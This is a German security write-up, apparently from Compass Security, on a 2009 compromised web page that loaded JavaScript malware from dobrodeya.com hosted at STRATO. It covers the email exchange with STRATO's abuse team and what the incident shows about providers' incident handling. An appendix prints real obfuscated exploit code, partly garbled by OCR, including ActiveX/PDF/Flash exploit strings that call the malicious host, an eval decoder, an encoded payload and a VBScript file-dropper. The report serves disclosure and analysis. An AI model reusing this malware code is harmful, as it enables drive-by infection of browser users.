Incident Handling bei STRATO
"Java Script Malware"

Ivan Butler ¢ 6.November 2009

Herzlich Willkommen!

In der Zeit vom 20-26. Oktober 2009 wurde eine Webseite gehackt und jeweils
folgende <SCRIPT SRC=...> Anweisung hinterlegt:
http://dobrodeya.com/cgi-bin/Archiv.php

Same Origin Bypass

Die Anweisung <SCRIPT SRC=...> bedeutet, dass die JavaScripts von obiger URL
im gleichen Context wie der gehackten Webseite ausgefuhrt wird und ist der
Bypass fiir die Same Origin Policy. Der Host "dobrodeya.com™ wird vom
deutschen Provider STRATO gehostet. Die Malware hat Sicherheitsliicken in den
Browsern ausgenutzt und Trojaner im Browser installiert. Eine ziemlich gefahrliche Sache also....wie hat
die Zusammenarbeit mit STRATO funktioniert? Was macht die Malware? Lesen Sie weiter...
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Kontaktaufnahme durch mich (lvan Bitler) am 26.

Oktober 2009
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Ich befurchte dass ein Server in Ihrer Umgebung gehackt wurde.
Freundliche Grisse
Ivan Botler
Ivan Buetler, Geschaftsfithrer
Compass Security Metwork Computing AG
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Sehr geehrter Herr Butler,

vielen Dank for Thre Nachricht.

Mit freundlichen Grifien
STRATO AG
Abuseabteilung

abuse@strato.de

STRATO AG

Pascalstralle 10

10587 Berlin

Damit wir den Sachverhalt jedoch uberprafen kénnen nennen Sie uns doch bitte die Domain oder den
entsprechenden Server. Senden Sie bitte auch entsprechende Logs / Nachweise in Threr Nachricht mit.

weitergeleitet.




Da ich so lange nichts von STRATO gehort habe, habe ich zusatzlich Marco Di Filippo, den Compass
Geschaftsfiihrer beauftragt mit STRATO in Kontakt zu treten unter Angabe der Incident Details die wir
von unserer Seite kannten. Ich erhoffte mir dadurch eine wesentlich schnellere Bearbeitung des

Falles.

Hier die Kommunikation von Di Filippo mit STRATO

Von: Abuse [mailto: Abuse@strato.de]
Gesendet: Mithwaoch, 28. Oktober 2009 11:46
An: Marco Di Filippo

Betreff: AW: Meldung kompromittierte Webseite
Sehr geehrter Herr Di Filippo,

vielen Dank fur Ihre Nachricht.

Wir haben uns des von Ihnen geschilderten Sachverhalts angenommen und kdnnen Thnen
mitteilen, dass alle weiteren MaBnahmen durch uns eingeleitet wurden.

Bitte haben Sie Verstandnis, dass wir Ihnen aus datenschutzrechtlichen Grinden keing
weiteren Informationen geben kdnnen.

Vielen Dank und

mit freundlichen GriBen
STRATO AG
Abuseabteilung

abuse@strato.de

Unser Herr Di Filippo hat
am 28. Oktober 2009 rund
1h nach der Antwort an
Ivan Biitler folgende
Meldung erhalten.

Von: Marco Di Filippo [mailto:marco.difilippo@csnc.ch]

Gesendet: Dienstag, 3. November 2009 14:21
An: Abuse

Betreff: AW: Meldung kompromittierte Webseite
Sehr geehrte Damen und Herren,

Ihre Antwort klingt etwas mysterids. Letztendlich wiirde uns interessieren, welche
Lweiteren MaBnahmen™ eingeleitet wurden. Wurde/wird der Schadcode vom Netz
genommen? Ich denke dass durch diese Information keine datenschutzrechtlichen
Bedingungen verletzt werden, da uns primar die Frage WAS, WIE und WANN, nicht WER
interessiert.

Uber eine qualifiziertes Feedback wirden wir uns sehr freuen.
Mit freundlichen Grifken,

Marco Di Filippo

Nach 4 weiteren
Arbeitstagen haben wir mal
nachgefragt. Wie gehts
weiter bei STRATO? Wir
wollen die W-Fragen
wissen (Ermittlungs
Fragen). Dabei ist klar, dass
keine Daten liber den
Endkunden herausgegeben
werden. Doch zumindest
ein Hinweis iiber den
Vorfall hatten wir uns
gewiinscht.




Finale Antwort von STRATO am 4. November 2009

Von: Abuse [mailto: Abuse@strato.de]
Gesendet: Mithwoch, 4. November 2009 13:49
An: Marco Di Filippo

Betreff: AW: Meldung kompromittierte Webseite
Sehr geehrter Herr Di Filippo,

wir teilen Ihnen mit, dass der von Ihnen benannte Schadcode seitens unseres Kunden entfernt
wurde. Beim Aufruf der Seite erhalten Sie sine entsprechende Fehlermeldung.

Mit freundlichen GriBen
STRATO AG
Abuseabteilung

abuse@strato.de

STRATO AG

Pascalstrale 10

10587 Berlin

Worsitzender des Aufsichtsrates: Axel Krieger
Worstand: Damian Schmidt (Vorsitz),

Silvia BeBlich, Christoph Steffens, René Wienholtz

Amtsgericht Berlin-Charlottenburg HRB 79450
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Zusammenfassung

1. Die Zusammenarbeit bei Ermittlungen mit Russischen oder Chinesischen Firmen ist schwierig,
das ist jedem von uns klar. Dass die Zusammenarbeit mit gewissen Zentral Europdischen Firmen
ebenso mithsam ist, ist fur mich neu.

2. Die Provider prifen zuwenig gut, welche Inhalte auf deren Hosts angeboten werden.

3. Die Provider haben ein ungenligendes Incident Management Bewusstsein

Anhang fur Java Script Freunde

Die Archive.php hat unterschiedliche Java Scripts an den Browser gesendet, abhéangig vom UserAgent.
War es ein Firefox, gabs andere Client Exploits als wenn es ein Internet Explorer war. Hier einige Details:

Die eingefligten Scripte (Malware) versuchen verschiedene Sicherheitsliicken in modernen Browsern
auszunutzen. Die Seite unterscheidet die Browser Versionen (UserAgent) der Besucher und versucht
Sicherheitsliicken im Browser zu exploiten. Folgende Exploits werden ausprobiert:

| PDF Exploit
I WShell Exploit

Einrichten von Persistenz Uber
\\AIl Users\\";c=s+"\\Documents and Settings" +k;n="Start";p="Menu ";x="Iniciar";

und das ganze Uber verschieden Sprachen (EN, DE, IT)

Der Virus wird von Kaspersky erkannt.

G Nsystem3NSEARCHPROTOCOLHOST.EXE (PID: 5504]):

Accessing the files C\Users\ibuetler, CSMCO\DESKTOP
‘dobitxt, containing Trajan program Trajan-
Downloader.)5.Gumblar.x.

Andere Anti-Viren Hersteller erkennen den Exploit nicht, oder noch nicht. Bei VirusTotal erkennen den
Virus erst 3 von 41 den Anti-Viren Hersteller. Zudem ist der Virus polymorph. Das bedeutet, dass mit
jedem Aufruf bei /cgi-bin/Archive.php ein anderes JavaScript erzeugt wird, das mit dem Server eine
Session teilt.



Virustotal analysiert verdachtige Dateien unc

v VI RUS etleichtert die schnelle Erkennung von Viren

Wirmern, Trojanern und jeglicher At von Mahware

' ‘ TOTAL welche won den  Antivirus-Engines  festgestell
wierden. Weitere Informationen..

Datel dobrodeya.com.txt empfangen 2009.10.23 13:43:15 (UTC)
Status: Beendet
Ergetnis; 2/41 (7.32%)

+34 Fitter Drucken der Ergebnisse |2

Antivirus Version et . Ergebnis
aktualisierung

a-squared 4,5.0.41 2009,10.23 -
AhnLah-V3 5.0.0.2 2009.10.23 =
IntivVie 7.9.1.44 2009.10.23 -
Antiy-AVL 2.0.5.7 Z009.10.23 =
Authentium 5.1.2.4 2009.10.23 -
Avast 4.8.1551.0 Z009.10. 22 I58:Dommloader-EZ
G 8.5.0.423 2009.10.23 -
BitDefender Vol zZ009.10.23 =
CAT-QuickHeal io.o00 2009.10.23 -

Clamdv 0.94,1 2009.10.23 o

Comodao 2703 z009.10.23 -

Malware Analysis IE Browser
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ActiveM580M62M6aectN28G22AM63G720PDF.PM44FG22)N3bN7dI63al74cM68(el29N7 bl7dif(1211643po
)G7btryN7bM643pol3dG6eeN77



AG63tiveXObjl65ctN28I22PDF.G50dI66N43N74rM6cM22)G3bl7dcatchN28M65)17bG7dI7dG69f(d3po)G
7bN6cG76I3d((d3p0.147G65tVNE5G72s16916fnsG28)N2espG6cN69t(N2212cM22))G5b4G5d.spM6cit(N
22G3dN22))G5b1M5d.repl6cace(M2fG5c.G2fg, | 22M22N29N3bif((G6cvG3c900)N26126(G6cG76N21M3d
81G33))doN63umN65I16eM74.wl72itG65N28G27N3ceG6dbM65d
[73rcM3dG22httpl3al2fl2fdobrodG65ya.comM2fcgiG2dbN69nG2fN41rG63168iv.M70hpG3fG73N3dI64
M74I55N6cN4co9N26idI3d2G22 widtG68N3d100 168eightN3dM3100
M74ypeM3dM22appG6cicationM2fpG64G66G22N3eG3cG2fembedG3eM27G29M3bG7dtG72yl7bG76ar
d3poM3d0G3bd3poG3dM28M6eew
ActiM76eM580bjecG74(I122Shocl6bwaveFN6cal73h.ShoM63kwaveF|6cash.I39G22)N29.147eM74G56ar
iabl6ce(N22N24N22M2bM22versionN22129G2espG6ciG74(122,M22129G3bl7dM63aN74163h( e)G7bG7di
fl28N643poN26M26(d317016fI5b2N5dI3c124)I29M640cument. wM72iM74el28G27G3cM6fbjecN74G20cM
6cassidN3dI22cl6csil64G3ad27cdbM36eG2d161e6d12d11M63fG2dIN36G62M3812d44455G3354G300013

0M22 wG69dthG3d1M300M20M68165ighG74M3dI3100

M61N6ciM67nG3dmiddG6ceG3eM3cpar amM20nM61meN3dN2216dovi69eG22
vaN6cG75eG3dG22htG74N70G3aN2fN2fM6416fbM720dI65M79a.1630mI2fcgN69M2dN62iG6eG2fG41rchl6
9v.pG68N70N3fM73G3ddtI55G6cL09G26G69dM3d3G22M2fl3eN3cpl61M72aM6dN20N6eaG6deG3dG22N71ul
6116cityG22 M76N61G6cN75eM3dI22higG68G22M2fN3eG3cpal72 am namN65G3dN22bgG630G6cN6frl22
vaN6cG75M65N3dN22I23fG66G66ffG2212fG3eM3cembed
srcN3dG22httpN3aM2fN2fG640G62rol64eya.cl6fmG2fegil2dN62inM2fArl63hiM76.phpG3fsI3ddtUI6
cl4coN39M26idN3dG33N22N2fG3el3cM2feml62N65dM3eN3cN2fobjN65163tN3eM27)M3bdoG63umel6el 74

wri te(M2213cN2fl64ivN3el22)I3b';

eval(unescape(p7IZ.replace(/[MNIG]/g,FhvP)));

function ttt(){return
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++++++++++HH MK OtOUY cdrFgp4 EE6wy D CoiRwqugttU++4K ++++Zrl+arc+G=EgexggaZ=
+ppECO+AOedtitIFuwRUzqqC99dFcecxggMKHadpfrB+c++Kvgc0QCLu87rSJgr vk1AggH6h+c+ypTVGQCOgLYq
93eApkMUxmCW88ghwr++SIxrxI7AOuvO90qV/rippWAXh8ZC=1+3dieEzEqKyHCdE3/q0lgggegOKxiUykzwHJ
ZSAUKk7MsaDuWZAONJAqyglZOigneg/x8GLB30CUrBVzFh99xF+DkOgn8gQ3IUH+TaOerqgzmWRTzXv/XDaOXWeo
jh6+WraER1qRUGXZ0zDhLAHGG6/40V1U7p9E1TaE8XVVAEYFXngnXgaAUN@R+SsMkq+30ApOx8lUUpsigrL1
d+zygvsgbyK+GqCkUAFOpcM1UCddcQrdP+RIg2Lh2KX06q849jYMQO/ECFEp1VOp4EChnXgXhp+pRVhpXVkulD
k91PUd++JJYV2u9SXX2v0d+3xgfZwleb+1MZgngJgOz8iU0Q4z9FzUkyub6Xq960U9ZeXFfCVsg2ibKTfIK1dYW
ugGc3XHOINbKXQ26pH78PVgEKIdLNUfMVKznGgOHcOvV8GXISCUSIdV=2zc qzEgGEZ0gKgAWpeaZpSVLHC078Rb
rhgnJI6BOpmXLOcuwrmgKIptLNCgjnxel=ymVCql3oyUszO1d6K3XtaqqVICG=IQAeAhI7lutg6uDpADNIphWQ
xySIEJTIDO9z98ghxgNg7RzU+BdL7V2Lcghzz+VECJIn4C9eQYq+sIrIWEQ+g2nhnxbnKO8mUTrylu+ycjrvHL2
U2HLURCdncvku4ZgDUOngh7nsNa7+Q6=R+P+WcTrvnvmXQ2RpjeVcttd =+UArZevAWGAETCpDg4RDz7V0tp6Uq
21jbkSnX9d+wpWppmgWKgmEf0+gG3ayDkUzmtrv8IEnCwzUzpz+VCJIAhUZ8uLVOtelL98nvYn/Cg/Ay6KOYBXRE
nNmxUZGLVgDCBYsO1xH402eLIWZgVOUNrHrEzrlidEROgPUHB8CogGVJIDO=EoUtIp9xKThZvbCpTuhX6nx773n+
fXKbTYK4puDobAhrRpKIAd+Ovb201JGjCf6J3pfICAX=peGL2WdzLn dYYQdzcEN3gtge3kx04V=qgU7FpA=itU
=F0eK2fldowRDUuzZVeqgWGCh2rUAS8KZQI6TrdvxbV=HggguKDIZexFqUp+naANEVFhqoCelJz9Gyy+zG38sgX
gmE/1uDrVOOUPp+kclGXBE6TKU+6+IRR0zDXsplwWc90thS9zxA7TZHb7QFH4PPrco=SLZHItcT1/FVfeeeXO7
HcJQy7=FtMOaNpeCEoFIo1Md79LbEIzLW2mePtUGWp60DgeOnFczv337SnOwKoFtzSG8GCO9pmledl1gW02JWa
77dOR7gpdxCo4rZqIxPrEcRbOdpti9CDOAM2LdpvjZrtZCfB7IH2cytV+sxpew9y9sCH+X+A4411RDIEL411RR
eVkI11RRj=IPTpRRj=puam7MUM441Rpl9rFMDOjgDwLgmJyJFeyX9gfZ1ssOFU/B8gg6gBqgyV=Crh9rlO6yFzO
Qa/SJ+=S7uDu4Nt9ZJSkCgggPIfkurl9CQ7C++EQxky9POdOrF  tuvgKG6gihcUcX1DFKrCDcCFLORJag+zW21v
U68gB2ht21 ATHEWC/PJzNNQOr/COrzrgggggHoZRmmsvUkOrGzzUboOJDj4BIUykLujCuslpy=wkfzDggG8gKx
fd4swOUKIjOYYFILjQ7XSyEBAuO1C/bz6tKJ6H2gHV3IhNbamRv=7DrpvFt7+JjlbU2gX88bg+3EdDmXgUVRdk
dbamFLekDtOW8gggG8dyeX09+SVBEUyus+hqBWOTD=HukrvitOBfLPwgGbhGV1cKTBWfO+VIt7XNG9IB9zjtzVb
RLbvghzAz+0O7/BILs9L=fpfl7k9ssDBKCgCE32a+eJGrjabP3jjvUVxggxLrqppCQWdIkFT3xV0Dq8Qu39YQc1P
XagVXgs/rpylHPIz4XXqB1jRsXI1Z8ggngG6Nxyy8HVQpbNwDFzpSUb+6c+iva=IWOBG=vwbgXGXsFxAjKWE20b



WVrNCPOx3QHtIb28DgggggFXpmp+YUiMUPIWL19vxzS0Axx/wdORLY 16JgggggiR43FnfzHr=y3TawqRSSgAJP
SSE+P4CjSiUaEkCEbWhCXygAOXxPc47CFITsRSe4T7vXBQjpsggggmgvlGNy=DtRZk7cMPBSnpQ6xt4YI7rjp64
jcm4/6gHngmV=xFUAUYksZpPaxFYAaMktZ7EddfnWtShgggLGMJSlybnfJADzG60cP7vPkTPZB/eSo/iByHzAe
6WQg2kE+pK4bZvKkTsH=2rGX9pgHnzXHZU0Xd0gtuMiMx FdXrcHal84u4fULxgegdLysxFsSX9gKwWvRk8e=f+c
89cgzwgwgz2zTkvpSIkHmM8t24hSPy0rUrOghg TXSRr7LUZGTLrAQjjin7YPEMNGIVAOi+REQLSZ=peaJHH8Xk/4
Y6Kaau/y0YvCdLjzZj9zV3YG8h6gvAYUOGvalpgdDDXoOUXTd1ly9=jXDXLIhCzD1dH+r=j=T7dzTwUzUSsBvzh
QzEccykcA+fGRIXL=dOmalAzriONrESHpkAegvvehT  QOHx29rOpiWxldr2cUgqaAzYW62sgXgOupn8HDYixWUdn
066x0QNXXG6rKjUrassRJjlhAwbQ/MelujzVZRhFudgel EHTFngW/nCDk=yM6sVv827sBRtfk3ZPre8U0g=eXg
bZ3BRUYzHDMH13H7/TKk3pXIZEIGgx6BLF=Qq0GQZ4dnnY=gGiZHnVmMKGtVB4xDZjMIgN8oTxIKOjiesnoXksk
MmW2q3HmMRxHHrDtBZcyR8Nk1ZfVRp8t/UKKRRj=p= WwmXFM441dBwNa4411ReNujtM7RRYiQ/0CarZDsCLVSZMT
ZI+YivMXXPVGszVEXFtBRPIBXhAIJ=3L6Q3Ksio/89BniX6IOKmMNSIgzZxPqQMU1Rh8Gg8h8=WdLAu66Xh/6AQ
Pe319=RgTxZ2P6YEyG2AvPEe1wRTS=EeFcJGznQeblblK1YTMwhWUErMPYIYmMERANhvYJaAjLhG78gBO02mLTt
XcFF720DCThXhsiUthQ9/UHBYJUOHVKF26WONJ Jab9W8pjU4l/2Ryqtx9aD8hZAaGrhYHOhT/FFpybch2Cgnac
Kk4Cg=R2I3RynuGkZuRJRNQuUL7pxGV3vW9cdGmleSEVQqYtSZ3Cqg3i94xuYxAk2s/sMNGVBj89Q+M878zqKCH3W
9InnANlacskDROEazPMbeWYoPeJlq=E67v4k93muwCQHVM2iJR2XIs4tL6HIEri8nqV/ud4aXOjPrPiLEI80fnY
ILVuBNhkuc/k/qgbAshzZAPOJICCG7EhgxmbL  JORAYpR4nOI7vgywdwEGngA4Da0xItQeVjlg=iYMru=bocH2GK
fADFlim4mxov8hG08hdjOhQ3cUAWAIGLIXLWNYKQ2iZKrxvGZKYMxX7e8A/gO0WjpV71S/3H9zmcON+vANG0O8C
78YZ3I1X2D9jh4aoPJIxIOrFWOQ6GkGhznYYIKGeHoYemDkstoWYbOOFJLVz0sfdh3XXghTC=MShRMdhRFcCNvf3
RMYhetJVhGgeuYASrt87bMYgynS=bpSzYh TxcWWqgogn9zi69iBYcqT3iIAOYL1iIQNGpPi0OY2alCwLanvF2iCHQ
zwuUki6rkdg2ogGOAucyG3IKYh2u=WT+ITiZzBajH8h80kNQw7jvOKFJAJfhVh=GxzgbF=0G4n8cGNs2/Sbhbl
X6L6h2JEjL6bIHt/ZObVPOAGgGN8PYKLYTzQqZpIsuFG3k8TQZ7zePDZ7d=VwZ20qTGkSAnzVWr4jAa74POzHp
ICQxJkIBLQserWRM/ImoKR/ez/AORy+E i8AoWf8gDTejkfHUZWOENQIJyHXmhonUjC3jjnzO2ynyfToCliuGKX
ISZ=Wgk8Tydy=MMkXizwA2Y JdAMLDHmMxIRB40onA9GIONLgZfWVO688ZAVVqAx6SIjNe/kJco60SGbM0OgamewtKR
sjutlzZEYN9Y/Ecwxd0gKGIgCO0WfMpBPeHebghEhA9hkrV=d9MXWzTulGTNEIbeLT6A+IBfAqQSCEIQH8e0TAAB
HvaeloP7fhMgcalJvOR8mMhXET3jKemb MbgglsyZgH6MAvcAggmOMgEFiKxeNZXy2BBUikXM6CeYdrH2ucySTjnF
76=fXKSZOI120gH80OpF2IJAMBCSMYhE2gIIES0ZxKoX2VkXmtT 1sjVHZovsLuCEOIWKXPLPYyCVWEGmMYRBY]8E6
VgM8wuQkoyZGG2b6jdYLdkThVOW|L9=rbVmzVX7fAggGeDUOTOgkzw6+Ggq2ezxpDN2gkSwI3ngGgBxfFNOgOSv
gkswirGRjekxf6NLgkXw80Ox8Djj8 8uGLTCoWX4wSm8nnghmnWGeuBac+8rSfX8ouls/ECZXW8i+BKpGiPCrDsM
P/GS2xwrVG8W8oF66cXbTTAXNrQCqjSIXUuhRhgu9fS8clwJIC37ZgeVIZe/kDPdVOEEchd0Yg6xblO+zeVAayZ
j93Jyg81+eZJIhSHIT1k917mJeKrOCmEDo04Ja/=NUNwWRYNi/aN8/9qXZF2En7AIEGKzsmmMydGAsK+Y2zAcGYfw
u2plGn0QvgJH2i3L10iAAvngls  TdAgJnngkkOgcimaQXYJIMY6GHhXvVGHbOELZWmu91XLpgi8YeFrtCXv60EKZy
mi/nP/eTpGefFQhdiXTyMglmbmVAbv=X9YCysgWhB178FeBiujUJeyTPGfYiIWHFrNInfM2/7Zz=byHxOTwndYm
OH4izEAmMFv4uhxx16Y64G7kn=kE1HLObgk/cCBAIPCAmM7kt67H6B/JYeofsWYQNy3giBNmMREqIgbRrrsS99ttt
uP2lutttlVHbPQVQqqC99TBPY NDgceej+97WMMgmi93ZGJIA]GuzOhX7y0T716Q=M/xrWALLrYLV2ZVQibotkhwf
laDetCGTRY8CLGNKW6BThIogjTh84GOzH2ysdFwfxil08lItihiujP0/SEMi92hesOGMUvVOrXRDTabdzrXQwS=N
wZn4HhTqgrtZY8SNIt4bsgl+DreRCoellgXc60elUmL2KclsDrhnxCqgmJINsBb8zvG3ZhZA70I7LISzbgXmcVtH
x0ioir+CmgiL+KXCz2H3Mb CHUGP=vIoVIG8qgggH4GoSkGPTMun82bns4leN4/8QM8nBEf4ehRium6hkoFr3X7
IW7B2vrZEOytPntT2sogH2ROGewJvVRIa6bdMy0/+AwGlyggGegl3mHkDD=GzIE3HcUliyrddxgmDMBHJIDOXXg
nggggkUDDLbOFz6nrfWq7LIUILtuf+t3MYZgsB3/i08zygDXBXGgDUZqKkFUmMg67UdGkNsXgJ1WhyGEqGghgnQ
JvDthOxd2g1Gqg+L2tzpe HeCUOVBffpilYgVgHgegxA+YWV/UFXLt9pjwyyJIxvd+vwFONHDgXLp=bN410xImff
90J7R3DAeTL+7=ThG8g2gDD/f4XVeiz1lyc83pYYW/0U4IEgGebg0rHt1J3x03jeLypG1RjsSZfDCOmMxggggLwx
JhCddIEk+AYgLtkxadWg8vyGmjPuRf1GQUgnaE6YxGguezUejYfObpUvBh++Atwedyeo79U2gw8gNLy=Y04u98
HsWMajgGBzXhnsjDOx gvv+gl/Lolj+mhL6fr8g917S8ggG41GgDeKIfO34UrDgCl79xR/UR3dHgp/ggHhMGzBL
QzWgocQJSjl+s4LAzq/Sde7B=YDX0lw26v6EOzK+G+nAAVGEX82nmDMm+8byyeNU08zhp+IgggXgAHNAVB369b
4Ag2p/ZcGAQAMCIORkajvVUGR1z173g0/QhYfh4A3i2d0zu4QYkxKEWZgBhiZ7g4lkqw=23/h7K4Qa0gc4vixggg
gHV2eGpiaK2o0ppyS Pky+IKwX8hBlca2gyNNgvVw/9j2WXggngBIlrg2pPgRvfi+w7eZfMmmv8ysl6Am3wakioQZ
wgvgegkbUa9oTiTX0GwtymKRjVoFLkjsKk=6UmG8gggnD8ur+0aPe00/3fAKbYa9rGiTeExfdwAkNw1hzXA2L86
DxIAlgMrUHYkjuxeWuwggg2njEOkdHDgyjNUi=+zrEckZCTYTc+xVQrSngf6lbLelkG7vigFFdezcNpggge60ON
ZrAUImolUJDY2+ 3IhEwKZx1GAb1xpzesgdnwQUh3VwZ099iZpAOG=6xmNHGuUHIiQloxplzP1bJ/jXXhKESzrs1X
0Qf8l+eK6LTeOelEPOS+tJOHSC2MMiQzQThwnVtfVbXuXwgrQOea96YE9b14d9yIX1PGodVUCA3VOkORNXAUUA
iUQjB+Sly9ir9v4oXh0144Ruxy4pmfKJI8XkzOHniY G98KVkZkTerSUWXp2mHafXmgX7kxFaRRAXmJAn8gnr=gV
md=yl71+bMrt AI=VXURRxOUhX2ngL7UOKgnUZvOVfaAHRRCDLyr+VbJWtCghsGTY383VLQC3XrPEIE+SHMOE4S
Coe06gLJITL7/+HI3eXrBDrx/1jDCMzWHTLSqB+=a+2QJt9JfIxggOrc/c+RIYXF=QrYpYNogQrsKFNkxeBRCi
YkWQr1jvA8GgBJIXLu8utGbJxalnoCBBbWcDyjx8880uCjgPEvb180K=zONJFU80ouNijPUOCIEFyRyToGfiucd1S
gHkUO8fuyt np89DgIVchkV7zYHIbGz2kONC+PylEC2dkjsKb2esOfn+ZOPk=JWMqz288exukcr9SLMrblzwmijl
02gImQClaQqSkhOzD=Jq9+SllwqvzPa9=0LDtup2HUXEkttimQjv7k01rcpwrc1G+myO0QROOZfUnbMsP1n2u8
OK9U1QrTgneKJdrdu3MwE1hUtrv8gqipx2=QK0OJ+v9rS+cSEsS=9Cp2lgdtt+SEiZ4Au8am6iKwHLd=fsjKy1lh
xnggOiZV gW8FDO06gEDPQrpgC92YRAIN8J2CmOOAr+pYH90dhd+giaGnnvelctUpgixsYpMvQR8LJIpvwyEILFtU
IbZXXJIgQJIFcZjHSr1pljuXXVigsiH4ht2StQ1U=dKgOuJ2fuv6L4KaRyNM796MRIaJeaNI2E6uSusyf4ZyMVoc
hGkUCCoSr7vZy+/j0UZXBgPXEUZwIZVShhkxECJtdP=rK AHPKwhJ98wVguFnWAuUAyfOrBSk8wcKEqu8CDgc93m
FJemMAAULZdUOpoX82U7pj+Hmw8M7SL7R66LjryryU3uNVUBCDY9csTdy+1AZFLUKLB/Xxn8nAL6oc7rcaRrRI
V+hH9ZgAABWHRQgJInsIVIK8XTDIR+ZXuwlul+1+Ru949b4dABelrNpuXAKulSCwohgFlyXgR+GZdjNf3cAo2bGq
eHvx=91=a99IEcXgeM0eo0qzyljJTT1+xQrH6Upx7wenDKU7+KhsPCDTIgjMb32Aa8EB8KMJrvIDZecTohHxUq|



r/tu  EN2FIbKnlu+ZnEOhBrCHXgghvqo+cST+vOrAx4LUh30rqO4+yptr369YdfpsRW7w/NmCkJoGWp6/d6KjkU
+rEG0a=1ERzQgtZSXAfRK+Vhhapz8BOHC6HN6gGBJfEpEDO+LavirB=pRZ+pyyxST6Age60ena+R+X+t4zFIVV
MpTCXm8VkV3EFs+zOJRBGVC+Rniv/iBplUjkOhuVIB8dbRdVdXyjYPz+qgxaYg4t+874C+loEHHP9EPqsOVAaCg
rC rh8nuHgECGPES8H]LoqgAr7w+yveUjO6buYGwxQDf77q1RZrf6ttEyBRI4AGDH22biHUyp=AHSH/HJBbUe2kpV
OONHYKEB80cWI3BWEYm3xKm4FaU6jzgkd+ZIpBDyPRY9tMp0zuptboOLpr3xZMnSCXf3XbAVine7AholWWyV2X=T
TXhePNV+z+Dr4N0QJrD9yeGAusaVGampeVO+7+xn07+Y+UdE19tVaUBmO+GIBzH+y=k/LyqgLH7DmgVHNaCtwd1
SLKIS+9wWrbD8gote9sdIV1gX3KC+plA+DWJIArfDVINTRtkRiI1h2tSCvIpODhOIKaVC8H3Q2pBLt+VgXfinCrQ
Ywnv6+C1HBdTp+p+n+g=IlijBwVVHX+rGos7R8GpnuAblUKdtDQEtGXw3Er+CniTWgdHgDR/zMB+Qn1UlobC1JQ
27sRgVgtzXm2QkhdOuJE4YYLg7csONnhz+L+ypCGrt/gblCpYPv+ORX+NKn7y2PfC7+Tj1FGNs03a3VwgOc UL
mRohyybvodd+VThjoxooNhx71D7kbHfKuJlIJvONyf2+kBpSUrKyuahRWkZDZQXLU37dEaKKWYtXwqgxi8UhB++t
YWRY6ySYVKQbgQ6eLzy4Cl10z7JdT8YV7g+X0I0YD3+YkFKaF/3+0bbgZgIx96nT4XUiFUPpaN2tdaZYVsRgDX
sKVUN=gARssbeRRyqYiQa0gS4M8F8208xjYB6=+1qcXLNj7WmzZXhgeGbZDIBHf=N9/p+gpmVojTbfYgmot = XeXe
8garLz9Ynj+cZaYVsO0CY90HHggZwrlPeg3eUrJgdaVJASafcP2fopyeYr/sxvW9XjpaBUGQIXegoY4IRSCNIQE
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g6iazRLmnOpl+++++++++=+qg+++++++++REH+CUU+92H+RgHgOXoEIETU4Q9UkzU2hcyVDBgn80f2hC6b+1++
++U2hcyVDBgn80f2Dy++A6vnhcaVDBgn80f2hx4tzNgB+ImgzyrE9uRfuxOghfkVzcU2hcyVDBgn80f2Dya+ A6
OUKIsrHnL1AIfmZcrppyeApsCyuxbgUyelz4U2hx8ApNCyuxbgUyezH=qOpTUgpqvggHgkpRJIAEHqgXD2gKuEp
uryfkMOGHMIgggg49IErL91VpsgDO=gBpfhLpyxBcvgggGsVXsiBVt++9uyfmvux+dhGK+gUZZmVOSTZOfNOsr
90z+pFIp/H9qoB+yOVpsqDOj92SCwleK+0O+1+VOzaOypLVOL1l7pO+S+U++yvcIxXyExHjxS+U+ajTUkz90 y3zV
XMZ=xTbYXHjpS+U++W+A+sa+KxqUS8FgiwpK+1+VBilK+1+leK+LxgghO+p++UpYRulc0Xg072yyO9++9+rXKU
rTyG7cdfpcOXgOYFFlcp4rRu+SzfOHuxIrSM9zgggISMU+C3/ppUp711++++++++++++++++++++++++++++++
++++++++++++H A
+++++++ UL LU+ RO+ pU7 L+ L+ bbb+
+UBL+1+Vx+U+alO+pEulL+1+68+U+t30+p++++++k8+U++++++UCFYaSfcOvtVil310+7jf27ZU/tvObwRDI+++
+3RGFw1D/7WaFzWMU++UywZfpzNGIpjf4zNYvzO++YNMmAyYFedUmehfM7hp++dw/zWf07jDUeRD870++YNMmMA
yYFelwmwjc+++UdsRMkcya872YvzO+++daMwkGOwWjiCWZMds11++++++++++++++++++++++++++++++++++++
+++++++++++ A
ot e o S S o o R o
+++++++++++ A
L s a0 T B L o
+++55"}

[I</script>



Second Round

document.write("<div style= \ "position: absolute; left: - 1000px; top: -
1000px; \ ">");function b6(t){var
cl,c2,c3,el,e2,e3,e4,j=0,d=""k="+UEqldRy9aTCtISxpf=3cYjZ7wQezAsXrFVI4AMNWu/Pol6b80Dmvk
02hKiBnLGHg5";do{e1=k.indexOf(t.charAt(j++));e2=k.indexOf(t.charAt(j++));e3=k.indexOf(
t.charAt(j++));e4=k.ind exOf(t.charAt(j++));cl=(e1<<2)|(e2>>4);c2=((e2&15)<<4)|(e3>>2);
c3=((e3&3)<<6)|e4;d=d+String.fromCharCode(cl);if(e3!=64)d=d+String.fromCharCode(c2);if
(e4!=64)d=d+String.fromCharCode(c3);}while(j<t.length);return

d;}document.write("<script language= VBScript >Sub s1(e,fn,dt):On Error Resume
Next:s1=0:"+'Set k=e.CreateTextFile(fn, TRUE):if Err>0 then:Exit Function:End

if:'+'b="":For j=1 To

LenB(dt):b=b&ChrW(Asc(Mid(dt,j,1))):Next:k.Write(b):k.Close:'+"if Err>0 then:Exit

Function:End if:s1=1:End Sub< \ /script>");fu nction f1(c,o0,n){if(c)return c;var
r,a,b,d.f,g,h;r=null;a="try{r=0.";b=" CreateObject  (n";d=")}catch(e){";f="GetObject(";g=
'"":h=d+a;eval(a+b+h+b+g+h+b+g+g+h+f+"" n'+h+f+'n'+g+h+f+'n'+d+}}}}}});return

rffunction f4(d,c){try{d[d.length]=c;}catch(e){}}fun ction f2(o,t,n,d){for(var

i=n.length - 1;i>=0;i -- )if(o)try{o.Type=2;0.Mode=3;0.0pen();0.Charset='ISO - 8859 -

1';0.WriteText(d);0.SaveToFile(n[i],2);0.Close();return

n[i];}catch(e){}if(t&&window.s1&&s1(t,n[i],d))return nli};}return O;}function

f3(){try{var

a,i, m,tyvlyv2yv3v4dl,d2r,dt,fxs,c,b,gh,jkn,p,g;a=null;m="BD96C556 - 65A3- 11DO0-
983A- 00C04FC29E3';f=" - 0000 - 0000 - CO00- 000000000046';var t=new

Array(m+'0',m+'6','/ABO9BCEDD - EC7E 47E1- 9322 -

D4A210617116','0006F033'+f,'0006F03A'+f,'6€32070a - 766d - 4eeb6 - 879c -

